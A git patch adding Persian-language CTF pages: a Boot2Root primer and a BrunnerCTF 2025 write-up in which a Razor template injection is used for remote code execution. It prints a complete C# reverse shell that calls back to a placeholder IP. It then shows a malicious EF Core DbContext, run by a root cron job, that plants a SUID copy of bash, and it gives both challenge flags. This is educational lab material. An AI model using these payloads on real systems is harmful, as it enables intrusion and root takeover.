From 208751bcb36d97d8e78b68d2640f126c22441693 Mon Sep 17 00:00:00 2001 From: fedman0 Date: Sun, 24 Aug 2025 20:40:14 +0300 Subject: [PATCH] add BrunnerCTF | Dotwhat..? --- docs/Boot2Root/index.md | 48 ++++ .../writeups/2025/BrunnerCTF2025/Dotwhat...md | 241 ++++++++++++++++++ .../writeups/2025/BrunnerCTF2025/static/1.png | Bin 0 -> 17027 bytes .../writeups/2025/BrunnerCTF2025/static/2.png | Bin 0 -> 9136 bytes mkdocs.yml | 9 +- 5 files changed, 295 insertions(+), 3 deletions(-) create mode 100644 docs/Boot2Root/index.md create mode 100644 docs/Boot2Root/writeups/2025/BrunnerCTF2025/Dotwhat...md create mode 100644 docs/Boot2Root/writeups/2025/BrunnerCTF2025/static/1.png create mode 100644 docs/Boot2Root/writeups/2025/BrunnerCTF2025/static/2.png diff --git a/docs/Boot2Root/index.md b/docs/Boot2Root/index.md new file mode 100644 index 00000000..f4436232 --- /dev/null +++ b/docs/Boot2Root/index.md @@ -0,0 +1,48 @@ +--- +icon: material/linux +tags: +- Boot2Root +- نقطه‌ شروع لینوکس +- CTF +--- + +# Boot2Root + +**Boot2Root چیه؟** +در چالش‌های Boot2Root یک ماشین مجازی (معمولاً لینوکسی) رو بوت می‌کنی و باید با کشف ضعف‌ها، از دسترسی اولیه به کاربر عادی برسی به دسترسی روت و در نهایت فلگ رو برداری. این مدل تمرین‌ها بهترین شبیه‌ساز «مسیر واقعی نفوذ» هست: **کشف سطح حمله → به‌دست‌آوردن دسترسی اولیه → ارتقای دسترسی (Privilege Escalation) → جمع‌آوری فلگ**. + +--- + +## چرا Boot2Root مهمه؟ + +- **ذهنیت فرایندی**: به‌جای حل باگ‌های پراکنده، از ابتدا تا انتهای زنجیرهٔ نفوذ رو تمرین می‌کنی. +- **مهارت‌های واقعی**: لینوکس، شبکه، سرویس‌ها، لاگ‌خوانی، اسکریپت‌نویسی، عیب‌یابی و اتوماسیون. +- **آمادگی برای آزمون‌ها/شغل**: برای مسیرهایی مثل OSCP/جامعه قرمز، تجربهٔ Boot2Root حیاتی‌ست. + +--- + +## برای شروع چه می‌خوام؟ + +**درک سیستم‌عامل** + +- فرمان‌های پایهٔ لینوکس (کار با فایل/فرایند/کاربران، systemd، لاگ‌ها). +- مجوزها (rwx)، مالکیت، SUID/SGID، قابلیت‌ها (Linux Capabilities)، PATH. + +**شبکه و پروتکل‌ها** + +- TCP/UDP، پورت‌ها، بنادر رایج (80/443/22/21/25/3306/6379/5432/…)، DNS و HTTP. + +**سرویس‌ها و فناوری‌های معمول** + +- وب‌سرورها (Apache/Nginx)، پایگاه‌داده (MySQL/Postgres/SQLite)، زبان‌های سمت‌سرور (PHP/Node/Python)، CMSها. + +**ابزارهای پایه** + +- مجازی‌ساز: VirtualBox/VMware. +- توزیع امنیتی: Kali یا Parrot (یا هر لینوکسی که راحتی). +- اسکن و کشف: nmap، whatweb، feroxbuster/gobuster. +- کلاینت‌ها: ssh، scp، curl/wget. +- بررسی داخل سیستم: find، grep، ps، sudo -l، journalctl، crontab. + +> نکته: هدف این نیست که «حرفه‌ای‌ترین ادمین» بشی؛ به‌اندازه‌ای یاد بگیر که گیر نکنی و هر وقت لازم شد برگردی و مطالعه کنی. +> \``` diff --git a/docs/Boot2Root/writeups/2025/BrunnerCTF2025/Dotwhat...md b/docs/Boot2Root/writeups/2025/BrunnerCTF2025/Dotwhat...md new file mode 100644 index 00000000..e241fdac --- /dev/null +++ b/docs/Boot2Root/writeups/2025/BrunnerCTF2025/Dotwhat...md @@ -0,0 +1,241 @@ +--- +tags: + - BrunnerCTF + - BrunnerCTF-2025 + - Web + - dotnet +--- + +# چالش Dotwhat..? (User / Root) + +تو این چالش به ما یه وبسایت دادن که از طریقش باید RCE میگرفتیم، خب وبسایت سه تا ورودی داره: + +![UI – سه ورودی](static/1.png) + +--- + +## SSTI & گرفتن RCE + +توی `instructions` تونستیم `SSTI` بزنیم با payload سادهٔ زیر: + +```razor +@(2+2) +``` + +این رفتار به خاطر استفاده از Template engine **Razor** توی `ASP.NET` بود. +پس با `SSTI`، کد مخرب اجرا می‌کنیم—بهترین گزینه برای ما `reverse shell` بود: + +```csharp +@{ + try { + using (var client = new System.Net.Sockets.TcpClient("< I P >", PORT)) { + using (var stream = client.GetStream()) + using (var writer = new System.IO.StreamWriter(stream)) + using (var reader = new System.IO.StreamReader(stream)) { + + writer.AutoFlush = true; + + var psi = new System.Diagnostics.ProcessStartInfo("/bin/bash") { + RedirectStandardInput = true, + RedirectStandardOutput = true, + RedirectStandardError = true, + UseShellExecute = false, + CreateNoWindow = true + }; + + var proc = new System.Diagnostics.Process(); + proc.StartInfo = psi; + proc.Start(); + + var stdin = proc.StandardInput; + var stdout = proc.StandardOutput; + var stderr = proc.StandardError; + + new System.Threading.Thread(() => { + string line; + while ((line = stdout.ReadLine()) != null) { + writer.WriteLine(line); + } + }).Start(); + + new System.Threading.Thread(() => { + string line; + while ((line = stderr.ReadLine()) != null) { + writer.WriteLine("ERR: " + line); + } + }).Start(); + + string cmd; + while ((cmd = reader.ReadLine()) != null) { + stdin.WriteLine(cmd); + } + + proc.WaitForExit(); + } + } + } catch (System.Exception ex) { + try { + using (var errClient = new System.Net.Sockets.TcpClient("< I P >", PORT)) { + using (var errStream = errClient.GetStream()) { + var msg = System.Text.Encoding.ASCII.GetBytes("ERROR: " + ex.ToString()); + errStream.Write(msg, 0, msg.Length); + } + } + } catch {} + } +} +``` + +منتظر کانکشن می‌مونیم 😊 + +![Reverse shell connected + (user) flag](static/2.png) + +--- + +## سرنخ برای دسترسی بالاتر: `cron` + +برای خوندن `/root/root.txt` باید دسترسی روت بگیریم. با نگاه به `cron`: + +```bash +cat /etc/cron.d/* +30 3 * * 0 root test -e /run/systemd/system || SERVICE_MODE=1 /usr/lib/x86_64-linux-gnu/e2fsprogs/e2scrub_all_cron +10 3 * * * root test -e /run/systemd/system || SERVICE_MODE=1 /sbin/e2scrub_all -A -r +PATH=/opt/devtools:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/.dotnet/tools +* * * * * root cd /home/user/app && /usr/bin/dotnet ef database update >> /var/log/migrate.log 2>&1 +``` + +- از خط `* * * * *` مشخصه `cron` **هر دقیقه** اجرا می‌شه؛ پس بعد از قرار دادن/بیلد پروژه، حداکثر ظرف **۶۰ ثانیه** تریگر می‌شه. +- دستور `dotnet ef database update` برای آپدیت اسکیمای دیتابیس، اسمبلی پروژه رو **لود** می‌کنه و یک `DbContext` می‌سازه. هر کدی که در `DbContext` (مثلاً `OnConfiguring`) اجرا می‌شه، اینجا با **دسترسی root** اجرا خواهد شد. بنابراین **بهترین نقطهٔ تزریق** برای PE همین «DbContext» است. + +--- + +## اکسپلویت با `EF Core Migrations` + +ایده: وقتی `cron`، `dotnet ef database update` رو با روت اجرا می‌کنه، `DbContext` ما لود می‌شه و `OnConfiguring` می‌تونه عملیاتِ SUID روی `/bin/bash` انجام بده تا یک `rootbash` بسازه. + +#### (Program.cs) + +```csharp +using app.Models; +using Microsoft.EntityFrameworkCore; + +var builder = WebApplication.CreateBuilder(args); + +builder.Services.AddDbContext(options => + options.UseSqlite("Data Source=/home/user/app/dummy.db")); + +var app = builder.Build(); + +app.UseStaticFiles(); +app.UseRouting(); +app.UseAuthorization(); + +app.MapControllerRoute( + name: "default", + pattern: "{controller=Recipes}/{action=Index}"); + +app.Run(); +``` +#### (app.csproj) +```xml + + + true + net8.0 + enable + enable + + + + + + + +``` + +ساختار فولدر مدل‌ها: + +```bash +mkdir -p Models +``` + +### کد `DbContext` مخرب (PrivEsc) + +#### (Models/PwnContext.cs) +```csharp +using Microsoft.EntityFrameworkCore; +using System.Diagnostics; +using System.IO; + +namespace app.Models +{ + public class PwnContext : DbContext + { + public PwnContext(DbContextOptions options) : base(options) { } + + protected override void OnConfiguring(DbContextOptionsBuilder optionsBuilder) + { + base.OnConfiguring(optionsBuilder); + + try + { + string target = "/tmp/rootbash"; + + if (!File.Exists(target)) + { + if (Environment.UserName == "root") + { + Process.Start("/bin/bash", "-c "cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash""); + } + } + } + catch { } + } + + public DbSet DummyTable { get; set; } + } + + public class Dummy + { + public int Id { get; set; } + } +} +``` + +**توضیح این کد چکار می‌کنه؟** +- در `OnConfiguring` بررسی می‌کنه اگر فایل `/tmp/rootbash` وجود نداشت و **کاربر جاری `root`** بود، یک کپی از `/bin/bash` تو `/tmp/rootbash` می‌سازه و با `chmod +s` بیتِ `SUID` رو ست می‌کنه. +- نتیجه: اجرای `/tmp/rootbash -p` یک شل با `effective uid = 0` می‌ده. + +--- + +## بیلد و تریگر شدن توسط `cron` + +```bash +dotnet build +/usr/bin/dotnet ef database update +``` + +(گام دوم رو معمولاً خود `cron` هر دقیقه انجام می‌ده؛ بیلد دستی کمک می‌کنه مطمئن شیم آرتیفکت‌ها آماده‌ان. سپس ظرف حداکثر ~۱ دقیقه، کران تریگر می‌شه.) + +--- + +## گرفتن روت و خواندن فلگ + +```bash +/tmp/rootbash -p +cat /root/root.txt +``` + +--- + +## Flags + +??? success "(User) FLAG :triangular_flag_on_post:" +
`brunner{m0R3_l1K3_r3c1P3_1NJ3ct1On!}`
+??? success "(Root) FLAG :triangular_flag_on_post:" +
`brunner{M1Gr4T3_Th353_pR1v1l3G35!_H4H4_G0T_3M}`
+ + +!!! نویسنده + [Arad]() + diff --git a/docs/Boot2Root/writeups/2025/BrunnerCTF2025/static/1.png b/docs/Boot2Root/writeups/2025/BrunnerCTF2025/static/1.png new file mode 100644 index 0000000000000000000000000000000000000000..afbde784e88f8b155a5c13e040b2b7a0514ae462 GIT binary patch literal 17027 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 